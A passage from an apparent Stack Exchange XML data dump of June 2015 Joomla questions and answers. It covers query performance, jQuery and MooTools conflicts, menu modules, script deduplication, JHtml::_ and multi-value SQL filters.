doing essentially the same thing as my manual version but I've no idea why the massive difference in timing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried &lt;code&gt;$db-&amp;gt;loadObjectList()&lt;/code&gt; and &lt;code&gt;$db-&amp;gt;loadAssocList()&lt;/code&gt; but get the same result.&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2015-06-18T04:39:59.893" LastActivityDate="2015-07-03T15:43:45.997" Title="Very slow query using JDatabase vs Manual" Tags="|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10476" PostTypeId="1" AcceptedAnswerId="10478" CreationDate="2015-06-18T05:10:49.640" Score="1" ViewCount="244" Body="&lt;p&gt;I have installed a component called 'Responsive Scroll Triggered Box', but when I activate the component, it gives Javascript errors, and makes the sideshow crash because of it.&lt;br&gt;&#xA;This is the component &lt;code&gt;script.js&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @package         Responsive Scroll Triggered Box&#xA; * @author          Tassos Marinos &amp;lt;info@tassos.gr&amp;gt;&#xA; * @link            http://www.tassos.gr&#xA; * @copyright       Copyright © 2015 TM Extensions All Rights Reserved&#xA; * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL&#xA; */&#xA;&#xA;var jqRSTBox = jQuery.noConflict();&#xA;&#xA;(function($) {&#xA;    $(document).ready(function() {&#xA;&#xA;        /* Joomla &amp;lt;= 3.3.6 - Added change trigger when check the radio input */&#xA;        $('.btn-group label:not(.active)').click(function() {&#xA;            var input = $('#' + $(this).attr('for'));&#xA;            if (!input.prop('checked')) {&#xA;                input.trigger('change');&#xA;            }&#xA;        });&#xA;&#xA;        /* Trigger Method */&#xA;        $(&quot;#jform_triggermethod&quot;).change(function() {&#xA;            val = $(this).val();&#xA;            switch (val) {&#xA;                case &quot;pageheight&quot;:&#xA;                    disableObjects = [&quot;prmtriggerelement&quot;];&#xA;                    break;&#xA;                case &quot;pageload&quot;:&#xA;                    disableObjects = [&quot;prmtriggerelement&quot;, &quot;prmtriggerpercentage&quot;,&quot;prmautohide&quot;];&#xA;                    break;&#xA;                case &quot;userleave&quot;:&#xA;                    disableObjects = [&quot;prmtriggerelement&quot;, &quot;prmtriggerpercentage&quot;,&quot;prmtriggerdelay&quot;,&quot;prmautohide&quot;];&#xA;                    break;&#xA;                case &quot;element&quot;:&#xA;                    disableObjects = [&quot;prmtriggerpercentage&quot;];&#xA;                    break;&#xA;            }&#xA;&#xA;            form = $(this).closest(&quot;form#adminForm&quot;);&#xA;&#xA;            form.find(&quot;.control-group&quot;).removeClass(&quot;hide&quot;);&#xA;            disableObjects.each(function(x) {&#xA;                form.find(&quot;.control-group.&quot;+x).addClass(&quot;hide&quot;);&#xA;            })&#xA;        }).trigger('change');&#xA;&#xA;        /* Show/Hide Fieldsets */&#xA;        showOnFields = [&#xA;            {&#xA;                &quot;trigger&quot;: $('select#jform_boxtype'),&#xA;                &quot;triggerValues&quot;: [&quot;module&quot;],&#xA;                &quot;showField&quot; : $(&quot;#module&quot;)&#xA;            },&#xA;            {&#xA;                &quot;trigger&quot;: $('select#jform_boxtype'),&#xA;                &quot;triggerValues&quot;: [&quot;custom&quot;],&#xA;                &quot;showField&quot; : $(&quot;#custom&quot;)&#xA;            },&#xA;            {&#xA;                &quot;trigger&quot;: $('select#jform_boxtype'),&#xA;                &quot;triggerValues&quot;: [&quot;emailform&quot;],&#xA;                &quot;showField&quot; : $(&quot;#emailform&quot;)&#xA;            },&#xA;            {&#xA;                &quot;trigger&quot;: $('input[name=&quot;jform[prm_assign_devices]&quot;]'),&#xA;                &quot;triggerValues&quot;: [&quot;1&quot;,&quot;2&quot;],&#xA;                &quot;showField&quot; : $(&quot;.prmassigndeviceslist&quot;)&#xA;            },&#xA;            {&#xA;                &quot;trigger&quot;: $('input[name=&quot;jform[prm_overlay]&quot;]'),&#xA;                &quot;triggerValues&quot; : [&quot;1&quot;],&#xA;                &quot;showField&quot;: $(&quot;.prmoverlaycolor, .prmoverlaypercent, .prmoverlayclick&quot;)&#xA;            },&#xA;            {&#xA;                &quot;trigger&quot;: $('input[name=&quot;jform[prm_allmenus]&quot;]'),&#xA;                &quot;triggerValues&quot; : [&quot;0&quot;],&#xA;                &quot;showField&quot;: $(&quot;.menuitems&quot;)&#xA;            },&#xA;            {&#xA;                &quot;trigger&quot;: $('input[name=&quot;jform[prm_assign_lang]&quot;]'),&#xA;                &quot;triggerValues&quot;: [&quot;1&quot;,&quot;2&quot;],&#xA;                &quot;showField&quot;: $(&quot;.prmassignlanglist&quot;)&#xA;            },&#xA;            {&#xA;                &quot;trigger&quot;: $('select[name=&quot;jform[prm_cookietype]&quot;]'),&#xA;                &quot;triggerValues&quot;: [&quot;seconds&quot;,&quot;minutes&quot;, &quot;days&quot;, &quot;hours&quot;],&#xA;                &quot;showField&quot;: $(&quot;.cookie&quot;)&#xA;            }&#xA;        ]&#xA;&#xA;        $.each(showOnFields, function(key, value) {&#xA;            trigger = $(value.trigger);&#xA;            trigger.on(&quot;change&quot;, function() {&#xA;&#xA;                valid = false;&#xA;&#xA;                if (value.triggerValues == &quot;:checked&quot;) {&#xA;                    if ($(this).is(&quot;:checked&quot;)) {&#xA;                        valid = true;&#xA;                    }&#xA;                }&#xA;&#xA;                if ($.isArray(value.triggerValues)) {&#xA;                    if ($.inArray($(this).val(), value.triggerValues) &amp;gt; -1) {&#xA;                        valid = true;&#xA;                    }   &#xA;                }  &#xA;&#xA;                if (valid) {&#xA;                    value.showField.slideDown(&quot;fast&quot;);&#xA;                } else {&#xA;                    value.showField.slideUp(&quot;fast&quot;);&#xA;                }&#xA;            });&#xA;&#xA;            if (trigger.is(&quot;select&quot;)) {&#xA;                trigger.trigger(&quot;change&quot;);&#xA;            }&#xA;&#xA;            if (trigger.is(&quot;input:radio&quot;)) {&#xA;                trigger.filter(&quot;:checked&quot;).trigger(&quot;change&quot;); &#xA;            }&#xA;        });&#xA;    });&#xA;}(jqRSTBox));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5439" LastEditorUserId="5439" LastEditDate="2015-06-18T05:37:09.390" LastActivityDate="2016-04-24T22:04:07.963" Title="Issue regarding component Responsive Scroll Triggered Box" Tags="|joomla-3.x|component|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10478" PostTypeId="2" ParentId="10476" CreationDate="2015-06-18T08:52:01.280" Score="2" Body="&lt;p&gt;The problem is solved. I just need to add a joomla plugin jquery-easy which removes the conflicts between the mootools and jquery&lt;/p&gt;&#xA;" OwnerUserId="5439" LastActivityDate="2015-06-18T08:52:01.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10479" PostTypeId="1" CreationDate="2015-06-18T09:02:21.813" Score="0" ViewCount="471" Body="&lt;p&gt;I am using Bootstrap Mega Menu Module to create multicolumn sub menus under main menu. My menu tree is like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Home (Single article, default)&#xA;Fields of Study (Article Category List: show articles in a category named FoS)&#xA;- History (Single article: under FoS)&#xA;- Literature (Single article FoS)&#xA;- Social researches (Single article FoS)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use Joomla's built-in menu module, I can see sub menu items when I click on &quot;Fields of Study&quot; item. There is no postback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use &lt;a href=&quot;http://extensions.joomla.org/extension/t-bootstrap-mega-menu&quot; rel=&quot;nofollow&quot;&gt;Bootstrap Mega Menu Module&lt;/a&gt;, the page opens the category list page when I click on &quot;Fields of Study&quot; item. eventhough I can see the submenu opens, I cannot click on the items in it, because the page reloads.&lt;/p&gt;&#xA;" OwnerUserId="440" LastEditorUserId="440" LastEditDate="2015-06-18T09:27:48.923" LastActivityDate="2015-06-18T14:04:17.050" Title="Bootstrap Mega Menu Module - clicking a menu item does not show sub menu items" Tags="|module|menu-item|menu|submenu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10481" PostTypeId="1" CreationDate="2015-06-18T12:00:23.680" Score="1" ViewCount="1501" Body="&lt;p&gt;We have a Joomla based school website, and we want a owl carousel at the bottom that scrolls along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to link the images to their to websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked everywhere to find the owl carousel code is but can't find it. There's a module for it, but it doesn't  have anything to alter the code like normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site URL is: &lt;a href=&quot;http://www.kibworthprimary.org.uk&quot; rel=&quot;nofollow&quot;&gt;http://www.kibworthprimary.org.uk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5443" LastEditorUserId="126" LastEditDate="2015-08-28T06:55:21.190" LastActivityDate="2015-08-28T06:55:21.190" Title="Joomla based owl Carousel" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10482" PostTypeId="2" ParentId="9513" CreationDate="2015-06-18T12:06:56.427" Score="0" Body="&lt;p&gt;I could be wrong and haven't tested this, but try using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getFieldset('company') as $field): ?&amp;gt;&#xA;{&#xA;    $name = preg_split(&quot;/[\[\]]/&quot;, $field-&amp;gt;name);&#xA;    $form-&amp;gt;removeField('$name');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-18T12:06:56.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10483" PostTypeId="2" ParentId="10481" CreationDate="2015-06-18T13:54:55.250" Score="1" Body="&lt;p&gt;The Owl Carousel codebase is freely available on Github: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/OwlFonk/OwlCarousel&quot; rel=&quot;nofollow&quot;&gt;https://github.com/OwlFonk/OwlCarousel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to implement something quickly you can just drop their code straight into a custom html module, just make sure that the wysiwyg editor is disabled first as it will probably strip out some things.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-06-18T13:54:55.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10484" PostTypeId="2" ParentId="10479" CreationDate="2015-06-18T14:04:17.050" Score="1" Body="&lt;p&gt;This sounds like it could be a known conflict between jQuery and Mootools. Solution, disable mootools. I'd suggest @phproberto's excellent Mootable plugin as it will allow you to cleanly and completely remove Mootools with a high degree of control: &lt;a href=&quot;https://github.com/phproberto/plg_sys_mootable&quot; rel=&quot;nofollow&quot;&gt;https://github.com/phproberto/plg_sys_mootable&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-06-18T14:04:17.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10485" PostTypeId="2" ParentId="10457" CreationDate="2015-06-18T14:11:51.507" Score="4" Body="&lt;p&gt;jimport was a mistake that should have never been in the system in the first place (personal opinion). Someone thought &quot;Cool! Looks like java!&quot; and we got saddled with it. It was merely an extra layer of code wrapped around JLoader::import in the first place. (I dunno, maybe someone's editor didn't have autocomplete or global search and replace and they thought typing 8 characters less was worth adding an extra call and context switch on the stack every time a file was loaded.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in prehistoric times PHP didn't have a mechanism for loading classes, so something that loaded them was necessary. These days PHP has a built-in mechanism for setting up an autoloader for your projects. And yes, there's an autoloader in Joomla, came in with some of the early platform code. There may be the occasional core class that requires it (I haven't tested them all, so I won't declare that none exist, just that very few of them do, if any at all) and some extensions that were written according to the old rules and haven't been edited to catch up with 21st-century coding standards may require it, but that's about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I've written several custom components and modules and haven't needed it once. My advice would be to not use it unless something complains, or unless you're writing something that needs to support very old versions of Joomla. It's a waste of bytes.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2015-06-18T14:11:51.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10486" PostTypeId="2" ParentId="5056" CreationDate="2015-06-18T14:21:36.443" Score="0" Body="&lt;p&gt;First off, according to your question you are already creating 20 modules and 20 menu items, so really the only extra thing you're having to do is create a one-line content item for each module. If that's really so onerous, then go ahead with @FFrewin's idea. It's a bit hacky, but it'll work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I'd go with the content items. In fact I've done that when I was building a system with popup dialog boxes that I also wanted to have work without js enabled. I put the dialog content in a custom_html module, rigged the module to be revealed and positioned when a link was clicked. And then I also pointed the link at a content item, including the module like you described. If js was enabled, the link wasn't followed and the dialog box was revealed. If js was disabled, the link was followed, and the dialog's content was displayed as content. And the content was in one place, so I wasn't maintaining two separate copies of the content.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2015-06-18T14:21:36.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10487" PostTypeId="2" ParentId="10364" CreationDate="2015-06-18T14:30:52.737" Score="1" Body="&lt;p&gt;The question confuses me a little. Not sure what you're wanting, but let me take a shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you pick the menu item type, you get choices based on the components you have installed. For example, if you pick &quot;Single Article&quot; you get to select an article for the menu item to point to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in the menu item you'll see a terrible mishmash of a URL, beginning with index.php. No biggie, because the only way your visitors will see that is if you don't have any sort of SEF URL creation turned on. That's just the internal representation, not what the users will see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming whatever component you have there works the same way (if it doesn't, find another one because that one's broken). So don't worry about that. The only thing that matters is what Joomla actually writes in the browser (which isn't necessarily what you see in the box).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to completely control what the URL for any given page is, get pretty much any of the SEF URL generators from JED. They all do that.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2015-06-18T14:30:52.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10488" PostTypeId="2" ParentId="10467" CreationDate="2015-06-18T14:47:03.917" Score="5" Body="&lt;p&gt;Wouldn't advise using stored procedures in MySQL for a web app. MySQL compiles stored procedures on demand and holds them in a cache based on the connection. Pretty much every web app (Joomla included) opens a new connection with every URL (open a connection, serve the page, click a link, open a new connection serve a page, etc). Which means every stored procedure you call will be compiled once for every web request the server handles. The overhead can quickly eat up anything you might gain, unless your app is going to sit there and make repeated calls to the same stored procedure on every page request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MySQL stored procedures might be useful for something that is called repeatedly before giving the user a change to ask for more, but pretty much every request to the web server will result in a new connection being opened and the procedure being recompiled.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2015-06-18T14:47:03.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10489" PostTypeId="2" ParentId="9120" CreationDate="2015-06-18T15:14:57.363" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Joomla has the option of setting it as text:&#xA;&lt;a href=&quot;https://docs.joomla.org/Article_email_and_print_icon_settings&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Article_email_and_print_icon_settings&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can do a template override of components/article/tmpl/default.php&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look for this code around line 42:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if ($canEdit ||  $params-&amp;gt;get('show_print_icon') || $params-&amp;gt;get('show_email_icon')) : ?&amp;gt;&#xA;&amp;lt;ul class=&quot;actions&quot;&amp;gt;&#xA;&amp;lt;?php if (!$this-&amp;gt;print) : ?&amp;gt;&#xA;    &amp;lt;?php if ($params-&amp;gt;get('show_print_icon')) : ?&amp;gt;&#xA;        &amp;lt;li class=&quot;print-icon&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('icon.print_popup',  $this-&amp;gt;item, $params); ?&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;?php endif; ?&amp;gt;&amp;lt;?php if ($params-&amp;gt;get('show_email_icon')) : ?&amp;gt;&#xA;        &amp;lt;li class=&quot;email-icon&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('icon.email',  $this-&amp;gt;item, $params); ?&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ($canEdit) : ?&amp;gt;&#xA;        &amp;lt;li class=&quot;edit-icon&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('icon.edit', $this-&amp;gt;item, $params); ?&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('icon.print_screen',  $this-&amp;gt;item, $params); ?&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;that what you need to edit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if ($params-&amp;gt;get('show_email_icon')) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;your-class&quot;&amp;gt;&#xA;    &amp;lt;?php if ($params-&amp;gt;get('show_email_icon')) : ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php echo JHtml::_('icon.email',  $this-&amp;gt;item, $params); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can put this anywhere in your content.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Another alternative would be use to an email the page module:&#xA;&lt;a href=&quot;http://extensions.joomla.org/extension/mail-this-page&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/mail-this-page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.addthis.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.addthis.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2015-06-18T15:14:57.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10490" PostTypeId="1" AcceptedAnswerId="10495" CreationDate="2015-06-18T15:46:02.963" Score="0" ViewCount="447" Body="&lt;p&gt;I recently created a custom component for Joomla! 3.x designed to handle quotes.&#xA;It's quite simple: I insert various quotes in the database and I want to show them in frontend lists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also created a table called &quot;players&quot;, because every quote can be associated to one or more players. I did that because I want users to be able to filter the quotes by players, so I put search filters in the frontend lists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the backend and the frontend lists works well: I'm perfectly able to create a quote and associate it to one on more players, and the quotes are shown correctly in the frontend lists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is in the search tools. I had a Player filter (it's a SQL field) which let me filter quotes by a player, and it works. But I wanted to let user search by one or more players, so I added &quot;multiple='multiple'&quot; to the xml file. &#xA;It actually becomes multiple, letting me select more elements, but the search system stops working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do?&#xA;I'm sorry for the lack of details, but I'm quite new to Joomla! development and I created the component with an automatic component creator, adjusting it by my needs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all. &lt;/p&gt;&#xA;" OwnerUserId="5438" LastActivityDate="2015-06-18T19:13:47.833" Title="SQL multiple filter doesn't work" Tags="|joomla-3.x|extensions|search|fields|content-filtering|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10491" PostTypeId="1" AcceptedAnswerId="10492" CreationDate="2015-06-18T16:45:45.933" Score="2" ViewCount="1428" Body="&lt;p&gt;Let's say my extension makes use of a popular JQuery plugin. I can include the Javascript file in my extension and link to it using &lt;code&gt;JHtml::script&lt;/code&gt; or another method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is that for all I know, another extension may be loading the exact same Javascript library, just at another URL. These will need to two HTTP requests instead of one unnecessarily.&lt;/p&gt;&#xA;" OwnerUserId="5239" LastActivityDate="2015-06-23T12:02:12.090" Title="How can two libraries avoid loading the same Javascript library twice?" Tags="|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10492" PostTypeId="2" ParentId="10491" CreationDate="2015-06-18T16:45:45.933" Score="6" Body="&lt;p&gt;In Joomla, you can add scripts using &lt;code&gt;JHtml::script&lt;/code&gt; or &lt;code&gt;$doc-&amp;gt;addScript&lt;/code&gt;, and if you add the same path twice, it will only get included once in the output &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::script(&quot;path/to/jquery.scrollTo.min.js&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will not deduplicate the same script at different paths. Unfortunately, there is no built-in way to do this that I can see. For JQuery itself, you can use the shipped PHP library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Hacky way server-side:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can use this hacky way. It simply checks all the scripts that have been added already, and only adds the new path if none of the existing scripts match a regex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (! isScriptAdded('/^jquery\.scrollTo\b.*\.js$/')) {&#xA;    JHtml::script(&quot;path/tojquery.scrollTo.min.js&quot;);                                                                                   &#xA;}&#xA;&#xA;function isScriptAdded($scriptRegex) {&#xA;    $document = JFactory::getDocument();&#xA;    $headData = $document-&amp;gt;getHeadData(); # JHtml::script and $document-&amp;gt;addScript add to this&#xA;    foreach ($headData['scripts'] as $script) {&#xA;        if (preg_match($scriptRegex, basename($script))) {&#xA;            return true;&#xA;        }   &#xA;    }   &#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Hacky way client-side:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could load the library in Javascript, setting a global variable before you do so. For example, this is Facebook's Javascript SDK v2.3 code snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.fbAsyncInit = function() {&#xA;  FB.init({&#xA;    appId      : 'your-app-id',&#xA;    xfbml      : true,&#xA;    version    : 'v2.3'&#xA;  });&#xA;};&#xA;&#xA;(function(d, s, id){&#xA;   var js, fjs = d.getElementsByTagName(s)[0];&#xA;   if (d.getElementById(id)) {return;}&#xA;   js = d.createElement(s); js.id = id;&#xA;   js.src = &quot;//connect.facebook.net/en_US/sdk.js&quot;;&#xA;   fjs.parentNode.insertBefore(js, fjs);&#xA; }(document, 'script', 'facebook-jssdk'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first part sets a global variable, &lt;code&gt;window.fbAsyncInit&lt;/code&gt;, and the second part actually loads the external script by dynamically appending a new &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag. If you wanted to make it idempotent, you could just surround it with this &lt;code&gt;if&lt;/code&gt; statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (! window.fbAsyncInit) {&#xA;    // Facebook snippet here&#xA;    // ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is hacky, because you're hoping that everybody else is loading this library in the same way and setting the global variable correctly (that is, before loading and executing the library). In this case, you're hoping especially that the &lt;code&gt;appId&lt;/code&gt; and &lt;code&gt;version&lt;/code&gt; params don't change. Also, it would theoretically be better if the server could send just one snippet, instead of multiple snippets that know how to detect each other.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What about using a CDN?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Some popular Javascript libraries are on well known CDNs. For example, Google offers a &lt;a href=&quot;https://developers.google.com/speed/libraries/#web-font-loader&quot; rel=&quot;nofollow&quot;&gt;CDN to host Web Font Loader&lt;/a&gt; and other libraries. The hope is that the user agent will have the library in its cache even before it visits your website for the first time. If two extensions both use the same CDN, then the library does not need to be downloaded twice. The main downside of using a CDN is that your website now depends on a third party, which is why I would recommend not taking this approach by default with extensions that are going to be shared online.&lt;/p&gt;&#xA;" OwnerUserId="5239" LastEditorUserId="5239" LastEditDate="2015-06-23T12:02:12.090" LastActivityDate="2015-06-23T12:02:12.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10493" PostTypeId="1" AcceptedAnswerId="10502" CreationDate="2015-06-18T17:00:28.950" Score="6" ViewCount="4847" Body="&lt;p&gt;I've seen code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_(&quot;script&quot;, &quot;path/to/script.js&quot;);&#xA;JHtml::_(&quot;stylesheet&quot;, &quot;path/to/stylesheet.css&quot;);&#xA;JHtml::_(&quot;jquery.framework&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does the underscore function do here?&lt;/p&gt;&#xA;" OwnerUserId="5239" LastActivityDate="2015-06-19T15:44:26.170" Title="What does JHtml::_ do?" Tags="|jhtml|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10494" PostTypeId="2" ParentId="10493" CreationDate="2015-06-18T17:00:28.950" Score="2" Body="&lt;p&gt;It's simply a shortcut, to save typing I suppose. &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtml.html#method__&quot; rel=&quot;nofollow&quot;&gt;The documentation&lt;/a&gt; calls it a class loader method.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_(&quot;script&quot;, &quot;path/to/script.js&quot;);&#xA;# is the same as:&#xA;JHtml::script(&quot;path/to/script.js&quot;);&#xA;&#xA;JHtml::_(&quot;stylesheet&quot;, &quot;path/to/stylesheet.css&quot;);&#xA;# is the same as:&#xA;JHtml::stylesheet(&quot;path/to/stylesheet.css&quot;);&#xA;&#xA;JHtml::_(&quot;jquery.framework&quot;);&#xA;# is the same as:&#xA;require_once 'libraries/cms/html/jquery.php';&#xA;JHtmlJquery::framework();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's an algorithm that transforms the first argument to the correct function name, you can have a look &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/78e257253a97b1b862aa0b56fa768b26f12fcea2/libraries/cms/html/html.php#L92&quot; rel=&quot;nofollow&quot;&gt;a the source code&lt;/a&gt; in the file &lt;code&gt;libraries/cms/html/html.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5239" LastActivityDate="2015-06-18T17:00:28.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10495" PostTypeId="2" ParentId="10490" CreationDate="2015-06-18T19:13:47.833" Score="0" Body="&lt;p&gt;If you have added &lt;strong&gt;multiple='multiple'&lt;/strong&gt; then the form is getting an array of values (instead of a scalar value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These array of values has to be translated in the SQL query to a statement like this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ... FROM #__Players WHERE xxx IN (a,b,c,d)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check how the form is being applied in the query. For instance, SELECT statement can be created in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select('*')&#xA;            -&amp;gt;from('#__Players')&#xA;            -&amp;gt;where('xxx IN (' . implode(',', $pks) . ')');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-06-18T19:13:47.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
